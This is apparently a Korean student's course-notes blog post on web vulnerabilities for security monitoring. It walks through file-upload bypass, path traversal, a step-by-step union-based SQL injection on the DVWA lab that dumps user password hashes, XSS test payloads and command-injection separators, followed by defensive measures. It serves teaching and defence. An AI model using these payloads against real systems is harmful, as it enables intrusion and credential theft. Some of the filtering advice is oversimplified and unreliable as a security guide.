Code&Data Insights
[새싹 성동 2기] 보안 관제 실무(2) - 웹 취약점 분석과 종류 & 공격과 방어 기법 (File Upload | XSS | SQL Injection) 본문
[새싹 성동 2기] 보안 관제 실무(2) - 웹 취약점 분석과 종류 & 공격과 방어 기법 (File Upload | XSS | SQL Injection)
paka_corn 2024. 12. 7. 22:46웹 취약점 가이드라인
<국제 표준>
- OWASP Top10 기준선(2021년 기준이 최신), 4년에 한번 개정
=> 웹 취약성을 연구하는 연구원들이 4년마다 많이 발생한 웹 취약성을 목록화 발표
- NIST 기준(WEB 취약성 31개)
<한국 표준>
- 주요통신기반시설 취약점 점검 가이드 라인(28개), 공개, 행안부, KISA (2021)
- 전자금융기반시설 취약점 점검 가이드(48개), 비공개, 금융보안원 (2024)
- 행정안전부 SW취약점 개발 가이드(49개), 공개, 행안부, KISA (2021)
- 국정원 정보보안관리실태평가(13개), 비공개, 국정원 (2024)
웹 취약점 종류
1) File Upload (+Download)
Upload
: 게시판 업로드를 통해 악성파일이 업로드 되는 경우
=> 프로필사진 업로드, PUT Method 이용
- 악성파일: jsp, php, asp, py, sh, exe, ps 등
=> 악성파일 확장자들이 Web Shell로 동작 가능
파일업로드 취약점 OR 웹셀 업로드 취약점이라고도 불림
(Web Shell: 해당 웹 서버의 권한을 제어할 수 있는 취약성)
---> 국정원은 단순 악성 파일 확장자가 업로드만 되도 취약하다고 판단
---> 행안부는 업로드 + 실행까지 되어야지 취약하다고 판단함
---> 민간 기업의 경우 행안부, 공공 기관의 경우 국정원 기준의 적용이 필요함 (금융보안원 -> 국정원의 기준을 따름)
=> 업로드된 파일이 실행되기 위한 조건: 업로드 폴더의 실행권한, 업로드된 파일 경로 노출
Download
: download 함수의 경로 조작을 통해 임의의 경로 파일 다운로드 확인
=> 공지사항에 첨부된 청부파일의 경로를 통해 공격을 시도함
예시) http://test.com/notice/file?down=abcd.pdf
---> 보통 첨부파일에 마우스 우클릭을 누르면 취약한 경우 위와 같이 주소가 노출됨
---> http://test.com/notice/file?down=../../../../../../../../../etc/password와 같이 입력하여, 상대경로 (패스워드)파일 다운로드 가능
업로드에 대한 상태 차이
유닉스: 확장자 기반이 아니라 권한기반으로 동작
윈도우: 확장자 기반으로 실행
---> 파일 업로드 취약점은 윈도우 서버가 더 안전함
---> 확장자 기반으로 필터가 되어 있을 때, 확장자를 변경해서 업로드해도 실행이 안됨. 해당 확장자로 인식
(1) 공격자는 확장자를 변경하던지, (2) Content-type을 변경하는 방식으로 우회 업로드를 시도함
=> (1) GIF89a 설정
=> (2) content-type 바꾸기 : image/jpeg
--> 기존 .php 확장자 파일이 정상적으로 upload됨
(php 확장자는 뒤에 php1, php2, .., php7까지 php로 인식이 됨)
2) SQL Injection
: SQL Query(데이터베이스)를 통해 발생하는 취약점
정형화된 공격 기법들이 존재
DB를 사용하는 경우
1) 회원가입, 로그인, 게시판 조회(검색)
[ Login Form ]
select id, pw from users were id=" " and pw=" ",
SQL Injection은 보통 로그인 폼, 검색 폼에서 많이 발생됨
and의 조건때문에 참이여야지만 데이터가 반환 되므로, 강제로 or조건으로 변경
'or 1=1-- (주석처리)를 아이디 필드에 입력하여 or 조건으로 변경 (--은 그 뒤에 내용을 주석처리함)
select id, pw from users where id='admin' or 1=1--' and pw='pass'
or 조건은 둘 중 하나만 참이면 참을 반환함
SQL Injection의 취약성 테스트는 '(single quote)를 먼저 입력하여 특수 Char로 인식되는지 부터 판단이 필요
-> 다만, 싱글쿼터(') 대신에 `(backtick)이 인식되는 경우가 있음
< SQL Injection 공격 Flow >
(1) 'or 1=1# 또는 ' or 1=1 -- 입력해서 모든 데이터 출력하기
(DB버전에 따라 #이 주석 또는 --가 주석인 경우가 있음)
select first, surname from names where id=''or 1=1#'
(2) 'union select 1# ---> 다중 선택(조회) 구문
'union select 1,2# ---> 컬럼 개수 파악하기
(3) 'union select 1, @@version # ---> 버전 정보 확인
=> Surname: 10.1.26-MariaDB-0+deb9u1 와 같은 형식으로 DB의 버전 정보가 출력됨
(4) 'union select 1, schema_name from information_schema.schemata # ---> DB정보 확인
=> information_schema: DB 생성시, 자동으로 생성되는 테이블, DB에 사용중인 모든 DB와 관련된 정보가 기본으로 저장됨
ID: 'union select 1, schema_name from information_schema.schemata #
First name: 1
Surname: dvwa
ID: 'union select 1, schema_name from information_schema.schemata #
First name: 1
Surname: information_schema
=> DB 테이블이 2개 존재함을 확인
(5) 'union select 1, table_name from information_schema.tables where table_schema='dvwa'# ---> Table 이름 확인
ID: 'union select 1, table_name from information_schema.tables where table_schema='dvwa'#
First name: 1
Surname: guestbook
ID: 'union select 1, table_name from information_schema.tables where table_schema='dvwa'#
First name: 1
Surname: users
=> guestbook, users 2개의 table 확인
(6) 'union select 1, column_name from information_schema.columns where table_name='users'# ---> column 이름 확인
ID: 'union select 1, column_name from information_schema.columns where table_name='users'#
First name: 1
Surname: user_id
ID: 'union select 1, column_name from information_schema.columns where table_name='users'#
First name: 1
Surname: first_name
ID: 'union select 1, column_name from information_schema.columns where table_name='users'#
First name: 1
Surname: last_name
ID: 'union select 1, column_name from information_schema.columns where table_name='users'#
First name: 1
Surname: user
ID: 'union select 1, column_name from information_schema.columns where table_name='users'#
First name: 1
Surname: password
ID: 'union select 1, column_name from information_schema.columns where table_name='users'#
First name: 1
Surname: avatar
ID: 'union select 1, column_name from information_schema.columns where table_name='users'#
First name: 1
Surname: last_login
ID: 'union select 1, column_name from information_schema.columns where table_name='users'#
First name: 1
Surname: failed_login
(7) 'union select user,password from users # ---> users table로 부터 id, password 추출
=> 각 유저의 id와 password(해시값, MD5)을 얻을 수 있음
ID: 'union select user,password from users #
First name: admin
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
ID: 'union select user,password from users #
First name: gordonb
Surname: e99a18c428cb38d5f260853678922e03
ID: 'union select user,password from users #
First name: 1337
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b
ID: 'union select user,password from users #
First name: pablo
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
ID: 'union select user,password from users #
First name: smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99
(8) CrackStation에서 hash값 추출
(9) wireshark를 실행하여, 패킷의 내용이 평문으로 보임 (암호화 X)
- 관제 장비도 마찬가지로, 데이터가 평문일 경우에 탐지가 가능
=> 실습 환경일 경우 http, 평문 통신이 당연함
=> 실제 사이트의 경우 대부분은 https(SSL/TLS)가 적용되어 있음 (암호화 O)
---> 공격자가 공격하는 데이터는 모두 암호화 되어 네트워크 구간을 지나감
Q) https 환경의 보안장비에서는 어떻게 탐지가 가능할까?
A) 모든 보안장비마다 Proxy 서버 두기
=> proxy = SSL/TLS가 모두 평문으로 확인 가능
(공격자)인터넷 <-> 라우터 <-> FW(proxy)/IDS(proxy)/IPS(proxy) --- WAF(proxy)/DMZ(네이버)
BPR (비즈니스 프로세스 리엔지니어링)
: 기존에 있던 네트워크에서 잘못된 부분을 파악하고 다시 구성하고 개선
ISP (정보화전략계획)
** SQLMAP SQL Injection 공격을 자동화 해주는 도구 **
proxy: proxy 기능
intruder: 자동화 공격
repeater: 패킷(트래픽) 사용
decoder: 복호화(URL, HTML, Base64 등 복호화가 가능한 알고리즘)
extension: 확장기능(Burpsuite는 plugin을 가져다가 사용할 수 있음)
패킷(트래픽) 구조
: POST ~ Upgrade 까지는 모두 헤더 영역
id=1&Submit=Submit ---> Body/Payload 영역이 됨(실제 서버로 전송되는 데이터 정보)
=> User-Agent 정보는 사후에 사고가 발생했을 때, 사용 가능(공격자의 환경 파악), 웹 서버의 access 로그에 기록되도록 설정이 필요함
=> Referer: 내가 마지막으로 방문한 주소(POST에 있는 경로에 접속하기 위해 마지막으로 접속한 주소)
=> Cookie: 연결 정보(세션)
3) XSS (Stored, Reflected) : Cross-site Scripts
: 스크립트(JS)를 통해 실행되는 공격
취약성 테스트: <script> alert("test") </script>
=> Cheat Sheet가 4천개 정도 존재
취약점: 게시판 글쓰기, 회원가입, 프로파일, 검색 폼
=> 브라우저의 개발자 도구를 통해 스크립트가 인식되는지 확인이 필요함
어떤 문자열이 필터링 되는지
Stored
- 저장형태의 스크립트 (게시판 글쓰기 등)
Reflected
- 반사 형태의 스크립트 (검색)
=> mXSS (변종 XSS)도 파악해야 함!
https://www.sonarsource.com/blog/mxss-the-vulnerability-hiding-in-your-code/
4) 정보노출
: 버전 정보가 노출되는 취약성
=> WEB/WAS에 대한 버전 정도
curl -v -X OPTIONS http://test.com/
---> OPTIONS Method를 통해 헤더정보 출력
---> Server: Apache/2.4.25 (Debian) "서버 정보(버전) 노출"
curl -v -X GET1 http://test.com/
---> 존재하지 않는 METHOD를 사용함으로써 에러 유발을 통해 확인 가능
---> Server: Apache/2.4.25 (Debian) "서버 정보(버전) 노출"
Burpsuite를 가지고 확인이 가능
---> Burpsuite == Proxy 도구
클라이언트 --------------------------------------------- 웹 서버 <일반적인 통신 구조>
클라이언트 ------------------프록시서버------------ 웹 서버 <중간에 프록시 서버가 설정됨>
프록시 서버의 역할?
: 클라이언트가 서버로 보내는 데이터를 프록시 서버에서 검증하고 서버로 보내는 역할
검증
- 서버로 전송되는 데이터를 모두 확인 가능(편집가능)
- 클라이언트 <-> 서버, 양방향 조작이 가능하게 함
5) 관리자 페이지 노출
: admin 페이지가 노출 되는 취약성
---> http://test.com/admin 과 같은 구조 (Path 구조)
---> http://admin.test.com/ 또는 이런 구조(서브 도메인)
---> adm, admi, admind 등 관리자 페이지 단어 유추 입력
URL 구조 이해
http://abc.test.com/test/page?vuln=exe
http: http 프로토콜 사용
abc: test.com의 서브 도메인(자식)
test.com: 위치 정보를 가지는 도메인 정보
test: path(경로), Directory
page: web page를 나타냄
vuln: parameter, webpage에 속한 함수 명
exe: 파라미터 인자값
==> 웹과 관련된 취약점(입력기준)은 파라미터 인자값에서만 발생함
예시) http://abc.test.com/search?a=<script>alert("test")</script>
6) 인증우회
: 인증 과정에 있어, 정상 사용자 번호가 아닌 타인의 번호로 인증 받아 접속 시도하는 취약성
ex) 휴대폰으로 인증번호 받고 접속 시, 휴대폰 번호를 중간에 변경하여 등록되지 않은 번호로 받아 접속시도
- 인증서 전체 내용을 그대로 복사하여 바꿔치기하여, 타인의 정보로 로그인이 가능한 경우
---> Burpsuite를 통해서 가능함
7) 파라미터 조작
: 정상 파라미터 인자 값을 조작하여, 타인의 글 접근, 수정, 삭제, 권한이 없는 게시판 접근, 결제 조작 등의 취약성
http://test.com/board?id=1 ---> 정상데이터
http://test.com/board?id=3 ---> 권한이 없는 게시판에 접근이 가능
8) 디버깅 정보노출
: 웹 브라우저 개발자 도구를 통해 하드코딩 된 중요정보가 노출되는 취약성
- 중요 정보: DB접속, 서버접속, 관리자ID, PW
웹 개발자 도구 & 작업순서
(1) Network - 사이트에 어떤 데이터가 로드되는지 확인 가능
(2) Debugger - 코드 정보
(3) Storage - 쿠키, 세션
(4) Inspector - 추적, 감사
(5) Console - 함수 호출
9) 세션 재사용
: 개발자 도구에서 Storage를 수정해서, 세션 정보의 재사용 취약성
- 새션 재사용은 정상적인 로그아웃을 하였을 때와, 강제로 브라우저를 종료했을 때 모두 점검이 필요함
=> 둘 중 하나라도 취약성이 식별되면 취약하다고 판단
---> 정상적인 로그아웃 시, 세션이 종료되는 것이 정상
10) 불필요한 Method 사용
: PUT, DELETE와 같은 취약한 Method 사용 여부 판단
=> 업로드, 삭제가 특히 위험하다고 판단
METHOD
GET: 페이지 요청
POST: 서버에 데이터 반영 (Login, Write 작업)
PUT: 서버의 데이터 갱신 또는 업로드
DELETE: 서버의 데이터 삭제
OPTIONS: 서버의 헤더 정보 요청
PATCH: 서버정보 갱신
점검방식
(1) curl -v -X OPTIONS http://test.com/ ---> allow method 판단이 가능
(2) Burpsuite - 불필요한 method 탐지
11) Brute Force
: 자동화 공격, 무차별 대입 공격 (사전기반, 무차별)
로그인 (취약한 ID or 패스워드 사용 시)
파라미터 변조 (API 포함) 데이터를 확인할 때
=> Intruder 기능을 사용하거나 코딩
12) Command Injection
: 명령어 주입 공격, system 함수에 의해 추가로 명령어가 실행되는 구조
(1) ;
(2) &&
(3) |
(4) ||
예시) ls ;pwd를 하면, ls가 실행되고(실행 여부 상관 없이), pwd가 실행됨
---> parameter 인자값으로 전달
---> 해당 기능에서 system(cmd, sh) 함수를 사용하고 있을 경우에만 가능
- 공유기, 프린터, IoT, 임베디드 장비에서 발생
웹 취약점 대응 방법
1. SQL Injection & XSS
: 문자열 필터로 쉽게 대응 가능
1) 보안장비
'union select, or 1=1, <script>, alert, <img ~
Q) 보안장비에서 union, select 등 문자열에 대한 필터를 어떻게 할 것인가? "오용탐지 낮추는 법?"
(예시) id가 union인 경우??
A) 정규표현식 사용
- 정규표현식:
2) 시큐어코딩
loginpage ---> id form
=> '가 입력 안되도록 방지하기
=> %20(공백)이 입력되지 않도록 replace(치환)만 하면 대응 가능
=> '<' char 아니라 text 인식되도록 form에서 설정 하면 됨
2. File Upload (+Download)
1) 업로드 폴더 실행권한 제거, 업로드된 파일 경로 노출 제거
- 서버설정(시큐어 코딩)
2) 악성파일 확장자 업로드 필터
- 서버설정(시큐어 코딩)
3) 업로드되는 데이터 영역에 대한 문자열 필터(파일헤더, 본문도 점검이 필요)
- 데이터영역(payload, body)
reference
온프레미스와 클라우드 환경의 보안 관제 실무 - 이별 강사님
'Cyber Security > [새싹+SK쉴더스] 생성형 AI 활용 클라우드&보안 전문가 과정' 카테고리의 다른 글
[새싹 성동 2기] SK쉴더스 현장실습 & 중간 후기 및 다짐 (2) | 2024.12.08 |
---|---|
[새싹 성동 2기] Kali Linux + basic pentesting 보안 실습 구축 (0) | 2024.12.07 |
[새싹 성동 2기] 보안 관제 실무(1) - 보안관제란? | 관제의 주요 역할과 구성요소 | 관제 장비의 특성(FW/IDS/IPS, WAF) (2) | 2024.12.06 |
[새싹 성동 2기] 241206 러닝메이트 스터디 - <Linux Basic> (0) | 2024.12.06 |
[새싹 성동 2기] Module Project 2 (24.11.30)- Review & Insight (0) | 2024.12.03 |